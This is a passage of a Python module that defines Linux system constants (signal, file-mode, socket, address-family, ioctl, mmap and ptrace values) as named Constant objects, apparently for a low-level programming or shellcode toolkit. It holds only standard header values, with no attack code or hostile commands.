Constant('SA_RESTART',0x10000000) SA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000) SA_NODEFER = Constant('SA_NODEFER',0x40000000) SA_RESETHAND = Constant('SA_RESETHAND',0x80000000) SA_NOMASK = Constant('SA_NOMASK',0x40000000) SA_ONESHOT = Constant('SA_ONESHOT',0x80000000) SS_ONSTACK = Constant('SS_ONSTACK',1) SS_DISABLE = Constant('SS_DISABLE',2) MINSIGSTKSZ = Constant('MINSIGSTKSZ',2048) SIGSTKSZ = Constant('SIGSTKSZ',8192) SIG_BLOCK = Constant('SIG_BLOCK',0) SIG_UNBLOCK = Constant('SIG_UNBLOCK',1) SIG_SETMASK = Constant('SIG_SETMASK',2) SI_MAX_SIZE = Constant('SI_MAX_SIZE',128) SIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0) SIGEV_NONE = Constant('SIGEV_NONE',1) SIGEV_THREAD = Constant('SIGEV_THREAD',2) SIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4) SIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64) _SYS_TIME_H = Constant('_SYS_TIME_H',1) ITIMER_REAL = Constant('ITIMER_REAL',0) ITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1) ITIMER_PROF = Constant('ITIMER_PROF',2) FD_SETSIZE = Constant('FD_SETSIZE',1024) R_OK = Constant('R_OK',4) W_OK = Constant('W_OK',2) X_OK = Constant('X_OK',1) F_OK = Constant('F_OK',0) SEEK_SET = Constant('SEEK_SET',0) SEEK_CUR = Constant('SEEK_CUR',1) SEEK_END = Constant('SEEK_END',2) STDIN_FILENO = Constant('STDIN_FILENO',0) STDOUT_FILENO = Constant('STDOUT_FILENO',1) STDERR_FILENO = Constant('STDERR_FILENO',2) _CS_PATH = Constant('_CS_PATH',1) _SC_CLK_TCK = Constant('_SC_CLK_TCK',1) _SC_ARG_MAX = Constant('_SC_ARG_MAX',2) _SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3) _SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4) _SC_PAGESIZE = Constant('_SC_PAGESIZE',5) _SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6) _SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6) _SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7) _SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8) _SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9) _PC_PATH_MAX = Constant('_PC_PATH_MAX',1) _PC_VDISABLE = Constant('_PC_VDISABLE',2) L_cuserid = Constant('L_cuserid',17) _POSIX_VERSION = Constant('_POSIX_VERSION',199506) F_ULOCK = Constant('F_ULOCK',0) F_LOCK = Constant('F_LOCK',1) F_TLOCK = Constant('F_TLOCK',2) F_TEST = Constant('F_TEST',3) _POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809) STAT64_HAS_BROKEN_ST_INO = Constant('STAT64_HAS_BROKEN_ST_INO',1) S_IFMT = Constant('S_IFMT',0o0170000) S_IFSOCK = Constant('S_IFSOCK',0o140000) S_IFLNK = Constant('S_IFLNK',0o120000) S_IFREG = Constant('S_IFREG',0o100000) S_IFBLK = Constant('S_IFBLK',0o060000) S_IFDIR = Constant('S_IFDIR',0o040000) S_IFCHR = Constant('S_IFCHR',0o020000) S_IFIFO = Constant('S_IFIFO',0o010000) S_ISUID = Constant('S_ISUID',0o004000) S_ISGID = Constant('S_ISGID',0o002000) S_ISVTX = Constant('S_ISVTX',0o001000) S_IRWXU = Constant('S_IRWXU',0o0700) S_IRUSR = Constant('S_IRUSR',0o0400) S_IWUSR = Constant('S_IWUSR',0o0200) S_IXUSR = Constant('S_IXUSR',0o0100) S_IRWXG = Constant('S_IRWXG',0o0070) S_IRGRP = Constant('S_IRGRP',0o0040) S_IWGRP = Constant('S_IWGRP',0o0020) S_IXGRP = Constant('S_IXGRP',0o0010) S_IRWXO = Constant('S_IRWXO',0o0007) S_IROTH = Constant('S_IROTH',0o0004) S_IWOTH = Constant('S_IWOTH',0o0002) S_IXOTH = Constant('S_IXOTH',0o0001) S_IREAD = Constant('S_IREAD',0o0400) S_IWRITE = Constant('S_IWRITE',0o0200) S_IEXEC = Constant('S_IEXEC',0o0100) _SYS_UIO = Constant('_SYS_UIO',1) SOL_SOCKET = Constant('SOL_SOCKET',1) SO_DEBUG = Constant('SO_DEBUG',1) SO_REUSEADDR = Constant('SO_REUSEADDR',2) SO_TYPE = Constant('SO_TYPE',3) SO_ERROR = Constant('SO_ERROR',4) SO_DONTROUTE = Constant('SO_DONTROUTE',5) SO_BROADCAST = Constant('SO_BROADCAST',6) SO_SNDBUF = Constant('SO_SNDBUF',7) SO_RCVBUF = Constant('SO_RCVBUF',8) SO_KEEPALIVE = Constant('SO_KEEPALIVE',9) SO_OOBINLINE = Constant('SO_OOBINLINE',10) SO_NO_CHECK = Constant('SO_NO_CHECK',11) SO_PRIORITY = Constant('SO_PRIORITY',12) SO_LINGER = Constant('SO_LINGER',13) SO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14) SO_REUSEPORT = Constant('SO_REUSEPORT',15) SO_PASSCRED = Constant('SO_PASSCRED',16) SO_PEERCRED = Constant('SO_PEERCRED',17) SO_RCVLOWAT = Constant('SO_RCVLOWAT',18) SO_SNDLOWAT = Constant('SO_SNDLOWAT',19) SO_RCVTIMEO = Constant('SO_RCVTIMEO',20) SO_SNDTIMEO = Constant('SO_SNDTIMEO',21) SO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22) SO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23) SO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24) SO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25) SO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26) SO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27) SO_GET_FILTER = Constant('SO_GET_FILTER',26) SO_PEERNAME = Constant('SO_PEERNAME',28) SO_TIMESTAMP = Constant('SO_TIMESTAMP',29) SCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29) SO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30) SO_PEERSEC = Constant('SO_PEERSEC',31) SO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32) SO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33) SO_PASSSEC = Constant('SO_PASSSEC',34) SO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35) SCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35) SO_MARK = Constant('SO_MARK',36) SO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37) SCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37) SO_PROTOCOL = Constant('SO_PROTOCOL',38) SO_DOMAIN = Constant('SO_DOMAIN',39) SO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40) SO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41) SCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41) SO_PEEK_OFF = Constant('SO_PEEK_OFF',42) SO_NOFCS = Constant('SO_NOFCS',43) SO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44) SO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45) SO_BUSY_POLL = Constant('SO_BUSY_POLL',46) SO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47) SO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48) SO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49) SO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50) SO_DETACH_BPF = Constant('SO_DETACH_BPF',27) SO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51) SO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52) SO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53) SCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54) SO_MEMINFO = Constant('SO_MEMINFO',55) SO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56) SO_COOKIE = Constant('SO_COOKIE',57) SCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58) SO_PEERGROUPS = Constant('SO_PEERGROUPS',59) SO_ZEROCOPY = Constant('SO_ZEROCOPY',60) SOCK_STREAM = Constant('SOCK_STREAM',1) SOCK_DGRAM = Constant('SOCK_DGRAM',2) SOCK_RAW = Constant('SOCK_RAW',3) SOCK_RDM = Constant('SOCK_RDM',4) SOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5) SOCK_DCCP = Constant('SOCK_DCCP',6) SOCK_PACKET = Constant('SOCK_PACKET',10) UIO_FASTIOV = Constant('UIO_FASTIOV',8) UIO_MAXIOV = Constant('UIO_MAXIOV',1024) SCM_RIGHTS = Constant('SCM_RIGHTS',0x01) SCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02) SCM_CONNECT = Constant('SCM_CONNECT',0x03) AF_UNSPEC = Constant('AF_UNSPEC',0) AF_UNIX = Constant('AF_UNIX',1) AF_LOCAL = Constant('AF_LOCAL',1) AF_INET = Constant('AF_INET',2) AF_AX25 = Constant('AF_AX25',3) AF_IPX = Constant('AF_IPX',4) AF_APPLETALK = Constant('AF_APPLETALK',5) AF_NETROM = Constant('AF_NETROM',6) AF_BRIDGE = Constant('AF_BRIDGE',7) AF_ATMPVC = Constant('AF_ATMPVC',8) AF_X25 = Constant('AF_X25',9) AF_INET6 = Constant('AF_INET6',10) AF_ROSE = Constant('AF_ROSE',11) AF_DECnet = Constant('AF_DECnet',12) AF_NETBEUI = Constant('AF_NETBEUI',13) AF_SECURITY = Constant('AF_SECURITY',14) AF_KEY = Constant('AF_KEY',15) AF_NETLINK = Constant('AF_NETLINK',16) AF_ROUTE = Constant('AF_ROUTE',16) AF_PACKET = Constant('AF_PACKET',17) AF_ASH = Constant('AF_ASH',18) AF_ECONET = Constant('AF_ECONET',19) AF_ATMSVC = Constant('AF_ATMSVC',20) AF_SNA = Constant('AF_SNA',22) AF_IRDA = Constant('AF_IRDA',23) AF_PPPOX = Constant('AF_PPPOX',24) AF_WANPIPE = Constant('AF_WANPIPE',25) AF_LLC = Constant('AF_LLC',26) AF_IB = Constant('AF_IB',27) AF_MPLS = Constant('AF_MPLS',28) AF_CAN = Constant('AF_CAN',29) AF_TIPC = Constant('AF_TIPC',30) AF_BLUETOOTH = Constant('AF_BLUETOOTH',31) AF_IUCV = Constant('AF_IUCV',32) AF_RXRPC = Constant('AF_RXRPC',33) AF_ISDN = Constant('AF_ISDN',34) AF_PHONET = Constant('AF_PHONET',35) AF_IEEE802154 = Constant('AF_IEEE802154',36) AF_CAIF = Constant('AF_CAIF',37) AF_ALG = Constant('AF_ALG',38) AF_NFC = Constant('AF_NFC',39) AF_VSOCK = Constant('AF_VSOCK',40) AF_KCM = Constant('AF_KCM',41) AF_QIPCRTR = Constant('AF_QIPCRTR',42) AF_SMC = Constant('AF_SMC',43) AF_MAX = Constant('AF_MAX',44) PF_UNSPEC = Constant('PF_UNSPEC',0) PF_UNIX = Constant('PF_UNIX',1) PF_LOCAL = Constant('PF_LOCAL',1) PF_INET = Constant('PF_INET',2) PF_AX25 = Constant('PF_AX25',3) PF_IPX = Constant('PF_IPX',4) PF_APPLETALK = Constant('PF_APPLETALK',5) PF_NETROM = Constant('PF_NETROM',6) PF_BRIDGE = Constant('PF_BRIDGE',7) PF_ATMPVC = Constant('PF_ATMPVC',8) PF_X25 = Constant('PF_X25',9) PF_INET6 = Constant('PF_INET6',10) PF_ROSE = Constant('PF_ROSE',11) PF_DECnet = Constant('PF_DECnet',12) PF_NETBEUI = Constant('PF_NETBEUI',13) PF_SECURITY = Constant('PF_SECURITY',14) PF_KEY = Constant('PF_KEY',15) PF_NETLINK = Constant('PF_NETLINK',16) PF_ROUTE = Constant('PF_ROUTE',16) PF_PACKET = Constant('PF_PACKET',17) PF_ASH = Constant('PF_ASH',18) PF_ECONET = Constant('PF_ECONET',19) PF_ATMSVC = Constant('PF_ATMSVC',20) PF_SNA = Constant('PF_SNA',22) PF_IRDA = Constant('PF_IRDA',23) PF_PPPOX = Constant('PF_PPPOX',24) PF_WANPIPE = Constant('PF_WANPIPE',25) PF_LLC = Constant('PF_LLC',26) PF_IB = Constant('PF_IB',27) PF_MPLS = Constant('PF_MPLS',28) PF_CAN = Constant('PF_CAN',29) PF_TIPC = Constant('PF_TIPC',30) PF_BLUETOOTH = Constant('PF_BLUETOOTH',31) PF_IUCV = Constant('PF_IUCV',32) PF_RXRPC = Constant('PF_RXRPC',33) PF_ISDN = Constant('PF_ISDN',34) PF_PHONET = Constant('PF_PHONET',35) PF_IEEE802154 = Constant('PF_IEEE802154',36) PF_CAIF = Constant('PF_CAIF',37) PF_ALG = Constant('PF_ALG',38) PF_NFC = Constant('PF_NFC',39) PF_VSOCK = Constant('PF_VSOCK',40) PF_KCM = Constant('PF_KCM',41) PF_QIPCRTR = Constant('PF_QIPCRTR',42) PF_SMC = Constant('PF_SMC',43) PF_MAX = Constant('PF_MAX',44) SOMAXCONN = Constant('SOMAXCONN',128) MSG_OOB = Constant('MSG_OOB',1) MSG_PEEK = Constant('MSG_PEEK',2) MSG_DONTROUTE = Constant('MSG_DONTROUTE',4) MSG_TRYHARD = Constant('MSG_TRYHARD',4) MSG_CTRUNC = Constant('MSG_CTRUNC',8) MSG_PROBE = Constant('MSG_PROBE',0x10) MSG_TRUNC = Constant('MSG_TRUNC',0x20) MSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40) MSG_EOR = Constant('MSG_EOR',0x80) MSG_WAITALL = Constant('MSG_WAITALL',0x100) MSG_FIN = Constant('MSG_FIN',0x200) MSG_SYN = Constant('MSG_SYN',0x400) MSG_CONFIRM = Constant('MSG_CONFIRM',0x800) MSG_RST = Constant('MSG_RST',0x1000) MSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000) MSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000) MSG_MORE = Constant('MSG_MORE',0x8000) MSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000) MSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000) MSG_BATCH = Constant('MSG_BATCH',0x40000) MSG_EOF = Constant('MSG_EOF',0x200) MSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000) MSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000) MSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000) SOL_IP = Constant('SOL_IP',0) SOL_TCP = Constant('SOL_TCP',6) SOL_UDP = Constant('SOL_UDP',17) SOL_IPV6 = Constant('SOL_IPV6',41) SOL_ICMPV6 = Constant('SOL_ICMPV6',58) SOL_SCTP = Constant('SOL_SCTP',132) SOL_UDPLITE = Constant('SOL_UDPLITE',136) SOL_RAW = Constant('SOL_RAW',255) SOL_IPX = Constant('SOL_IPX',256) SOL_AX25 = Constant('SOL_AX25',257) SOL_ATALK = Constant('SOL_ATALK',258) SOL_NETROM = Constant('SOL_NETROM',259) SOL_ROSE = Constant('SOL_ROSE',260) SOL_DECNET = Constant('SOL_DECNET',261) SOL_X25 = Constant('SOL_X25',262) SOL_PACKET = Constant('SOL_PACKET',263) SOL_ATM = Constant('SOL_ATM',264) SOL_AAL = Constant('SOL_AAL',265) SOL_IRDA = Constant('SOL_IRDA',266) SOL_NETBEUI = Constant('SOL_NETBEUI',267) SOL_LLC = Constant('SOL_LLC',268) SOL_DCCP = Constant('SOL_DCCP',269) SOL_NETLINK = Constant('SOL_NETLINK',270) SOL_TIPC = Constant('SOL_TIPC',271) SOL_RXRPC = Constant('SOL_RXRPC',272) SOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273) SOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274) SOL_PNPIPE = Constant('SOL_PNPIPE',275) SOL_RDS = Constant('SOL_RDS',276) SOL_IUCV = Constant('SOL_IUCV',277) SOL_CAIF = Constant('SOL_CAIF',278) SOL_ALG = Constant('SOL_ALG',279) SOL_NFC = Constant('SOL_NFC',280) SOL_KCM = Constant('SOL_KCM',281) SOL_TLS = Constant('SOL_TLS',282) IPX_TYPE = Constant('IPX_TYPE',1) SHUT_RD = Constant('SHUT_RD',0) SHUT_WR = Constant('SHUT_WR',1) SHUT_RDWR = Constant('SHUT_RDWR',2) NI_NOFQDN = Constant('NI_NOFQDN',1) NI_NUMERICHOST = Constant('NI_NUMERICHOST',2) NI_NAMEREQD = Constant('NI_NAMEREQD',4) NI_NUMERICSERV = Constant('NI_NUMERICSERV',8) NI_DGRAM = Constant('NI_DGRAM',16) EAI_FAMILY = Constant('EAI_FAMILY',-1) EAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2) EAI_BADFLAGS = Constant('EAI_BADFLAGS',-3) EAI_NONAME = Constant('EAI_NONAME',-4) EAI_SERVICE = Constant('EAI_SERVICE',-5) EAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6) EAI_NODATA = Constant('EAI_NODATA',-7) EAI_MEMORY = Constant('EAI_MEMORY',-8) EAI_FAIL = Constant('EAI_FAIL',-9) EAI_AGAIN = Constant('EAI_AGAIN',-10) EAI_SYSTEM = Constant('EAI_SYSTEM',-11) AI_NUMERICHOST = Constant('AI_NUMERICHOST',1) AI_CANONNAME = Constant('AI_CANONNAME',2) AI_PASSIVE = Constant('AI_PASSIVE',4) AI_NUMERICSERV = Constant('AI_NUMERICSERV',8) AI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16) AI_V4MAPPED = Constant('AI_V4MAPPED',32) AI_ALL = Constant('AI_ALL',64) SIOCADDRT = Constant('SIOCADDRT',0x890B) SIOCDELRT = Constant('SIOCDELRT',0x890C) SIOCRTMSG = Constant('SIOCRTMSG',0x890D) SIOCGIFNAME = Constant('SIOCGIFNAME',0x8910) SIOCSIFLINK = Constant('SIOCSIFLINK',0x8911) SIOCGIFCONF = Constant('SIOCGIFCONF',0x8912) SIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913) SIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914) SIOCGIFADDR = Constant('SIOCGIFADDR',0x8915) SIOCSIFADDR = Constant('SIOCSIFADDR',0x8916) SIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917) SIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918) SIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919) SIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a) SIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b) SIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c) SIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d) SIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e) SIOCGIFMEM = Constant('SIOCGIFMEM',0x891f) SIOCSIFMEM = Constant('SIOCSIFMEM',0x8920) SIOCGIFMTU = Constant('SIOCGIFMTU',0x8921) SIOCSIFMTU = Constant('SIOCSIFMTU',0x8922) SIOCSIFNAME = Constant('SIOCSIFNAME',0x8923) SIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924) SIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925) SIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926) SIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927) SIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929) SIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930) SIOCADDMULTI = Constant('SIOCADDMULTI',0x8931) SIOCDELMULTI = Constant('SIOCDELMULTI',0x8932) SIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933) SIOGIFINDEX = Constant('SIOGIFINDEX',0x8933) SIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934) SIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935) SIOCDIFADDR = Constant('SIOCDIFADDR',0x8936) SIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937) SIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938) SIOCGIFBR = Constant('SIOCGIFBR',0x8940) SIOCSIFBR = Constant('SIOCSIFBR',0x8941) SIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942) SIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943) SIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944) SIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945) SIOCETHTOOL = Constant('SIOCETHTOOL',0x8946) SIOCDARP = Constant('SIOCDARP',0x8953) SIOCGARP = Constant('SIOCGARP',0x8954) SIOCSARP = Constant('SIOCSARP',0x8955) SIOCDRARP = Constant('SIOCDRARP',0x8960) SIOCGRARP = Constant('SIOCGRARP',0x8961) SIOCSRARP = Constant('SIOCSRARP',0x8962) SIOCGIFMAP = Constant('SIOCGIFMAP',0x8970) SIOCSIFMAP = Constant('SIOCSIFMAP',0x8971) SIOCADDDLCI = Constant('SIOCADDDLCI',0x8980) SIOCDELDLCI = Constant('SIOCDELDLCI',0x8981) SIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0) F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024) O_ACCMODE = Constant('O_ACCMODE',0o003) O_RDONLY = Constant('O_RDONLY',0o0) O_WRONLY = Constant('O_WRONLY',0o1) O_RDWR = Constant('O_RDWR',0o2) O_CREAT = Constant('O_CREAT',0o100) O_EXCL = Constant('O_EXCL',0o200) O_NOCTTY = Constant('O_NOCTTY',0o400) O_TRUNC = Constant('O_TRUNC',0o1000) O_APPEND = Constant('O_APPEND',0o2000) O_NONBLOCK = Constant('O_NONBLOCK',0o4000) O_NDELAY = Constant('O_NDELAY',0o4000) O_DSYNC = Constant('O_DSYNC',0o10000) FASYNC = Constant('FASYNC',0o20000) O_DIRECTORY = Constant('O_DIRECTORY',0o40000) O_NOFOLLOW = Constant('O_NOFOLLOW',0o100000) O_DIRECT = Constant('O_DIRECT',0o200000) O_LARGEFILE = Constant('O_LARGEFILE',0o400000) O_NOATIME = Constant('O_NOATIME',0o1000000) O_CLOEXEC = Constant('O_CLOEXEC',0o2000000) O_SYNC = Constant('O_SYNC',(0o10000|0o4000000)) O_PATH = Constant('O_PATH',0o10000000) __O_TMPFILE = Constant('__O_TMPFILE',0o20000000) F_DUPFD = Constant('F_DUPFD',0) F_GETFD = Constant('F_GETFD',1) F_SETFD = Constant('F_SETFD',2) F_GETFL = Constant('F_GETFL',3) F_SETFL = Constant('F_SETFL',4) F_GETLK = Constant('F_GETLK',5) F_SETLK = Constant('F_SETLK',6) F_SETLKW = Constant('F_SETLKW',7) F_SETOWN = Constant('F_SETOWN',8) F_GETOWN = Constant('F_GETOWN',9) F_SETSIG = Constant('F_SETSIG',10) F_GETSIG = Constant('F_GETSIG',11) F_GETLK64 = Constant('F_GETLK64',12) F_SETLK64 = Constant('F_SETLK64',13) F_SETLKW64 = Constant('F_SETLKW64',14) FD_CLOEXEC = Constant('FD_CLOEXEC',1) F_RDLCK = Constant('F_RDLCK',0) F_WRLCK = Constant('F_WRLCK',1) F_UNLCK = Constant('F_UNLCK',2) F_EXLCK = Constant('F_EXLCK',4) F_SHLCK = Constant('F_SHLCK',8) F_INPROGRESS = Constant('F_INPROGRESS',16) LOCK_SH = Constant('LOCK_SH',1) LOCK_EX = Constant('LOCK_EX',2) LOCK_NB = Constant('LOCK_NB',4) LOCK_UN = Constant('LOCK_UN',8) LOCK_MAND = Constant('LOCK_MAND',32) LOCK_READ = Constant('LOCK_READ',64) LOCK_WRITE = Constant('LOCK_WRITE',128) LOCK_RW = Constant('LOCK_RW',192) O_TMPFILE = Constant('O_TMPFILE',(0o20000000 | 0o40000)) O_ASYNC = Constant('O_ASYNC',0o20000) F_SETOWN_EX = Constant('F_SETOWN_EX',15) F_GETOWN_EX = Constant('F_GETOWN_EX',16) F_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17) F_OFD_GETLK = Constant('F_OFD_GETLK',36) F_OFD_SETLK = Constant('F_OFD_SETLK',37) F_OFD_SETLKW = Constant('F_OFD_SETLKW',38) F_OWNER_TID = Constant('F_OWNER_TID',0) F_OWNER_PID = Constant('F_OWNER_PID',1) F_OWNER_PGRP = Constant('F_OWNER_PGRP',2) AT_FDCWD = Constant('AT_FDCWD',-100) AT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100) AT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200) AT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400) AT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800) AT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000) AT_EACCESS = Constant('AT_EACCESS',0x200) MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1) MREMAP_FIXED = Constant('MREMAP_FIXED',2) PROT_READ = Constant('PROT_READ',0x1) PROT_WRITE = Constant('PROT_WRITE',0x2) PROT_EXEC = Constant('PROT_EXEC',0x4) PROT_SEM = Constant('PROT_SEM',0x8) PROT_NONE = Constant('PROT_NONE',0x0) PROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000) PROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000) MAP_SHARED = Constant('MAP_SHARED',0x01) MAP_PRIVATE = Constant('MAP_PRIVATE',0x02) MAP_TYPE = Constant('MAP_TYPE',0xf) MADV_REMOVE = Constant('MADV_REMOVE',9) MADV_DONTFORK = Constant('MADV_DONTFORK',10) MADV_DOFORK = Constant('MADV_DOFORK',11) MADV_MERGEABLE = Constant('MADV_MERGEABLE',12) MADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13) MADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14) MADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15) MADV_DONTDUMP = Constant('MADV_DONTDUMP',16) MADV_DODUMP = Constant('MADV_DODUMP',17) MADV_HWPOISON = Constant('MADV_HWPOISON',100) MADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101) MLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1) MAP_FIXED = Constant('MAP_FIXED',0x10) MAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x20) MAP_GROWSDOWN = Constant('MAP_GROWSDOWN',0x0100) MAP_DENYWRITE = Constant('MAP_DENYWRITE',0x0800) MAP_EXECUTABLE = Constant('MAP_EXECUTABLE',0x1000) MAP_LOCKED = Constant('MAP_LOCKED',0x2000) MAP_NORESERVE = Constant('MAP_NORESERVE',0x4000) MAP_POPULATE = Constant('MAP_POPULATE',0x8000) MAP_NONBLOCK = Constant('MAP_NONBLOCK',0x10000) MAP_STACK = Constant('MAP_STACK',0x20000) MAP_HUGETLB = Constant('MAP_HUGETLB',0x40000) MS_ASYNC = Constant('MS_ASYNC',1) MS_INVALIDATE = Constant('MS_INVALIDATE',2) MS_SYNC = Constant('MS_SYNC',4) MCL_CURRENT = Constant('MCL_CURRENT',1) MCL_FUTURE = Constant('MCL_FUTURE',2) MCL_ONFAULT = Constant('MCL_ONFAULT',4) MADV_NORMAL = Constant('MADV_NORMAL',0x0) MADV_RANDOM = Constant('MADV_RANDOM',0x1) MADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',0x2) MADV_WILLNEED = Constant('MADV_WILLNEED',0x3) MADV_DONTNEED = Constant('MADV_DONTNEED',0x4) MAP_ANON = Constant('MAP_ANON',0x20) MAP_FILE = Constant('MAP_FILE',0) POSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0x0) POSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',0x2) POSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',0x1) POSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',0x3) POSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',0x4) PTRACE_TRACEME = Constant('PTRACE_TRACEME',0) PTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1) PTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2) PTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3) PTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3) PTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4) PTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5) PTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6) PTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6) PTRACE_CONT = Constant('PTRACE_CONT',7) PTRACE_KILL = Constant('PTRACE_KILL',8) PTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9) PTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10) PTRACE_DETACH = Constant('PTRACE_DETACH',0x11) PTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24) PTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201) PTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202) PTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203) PTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001) PTRACE_O_TRACEFORK = 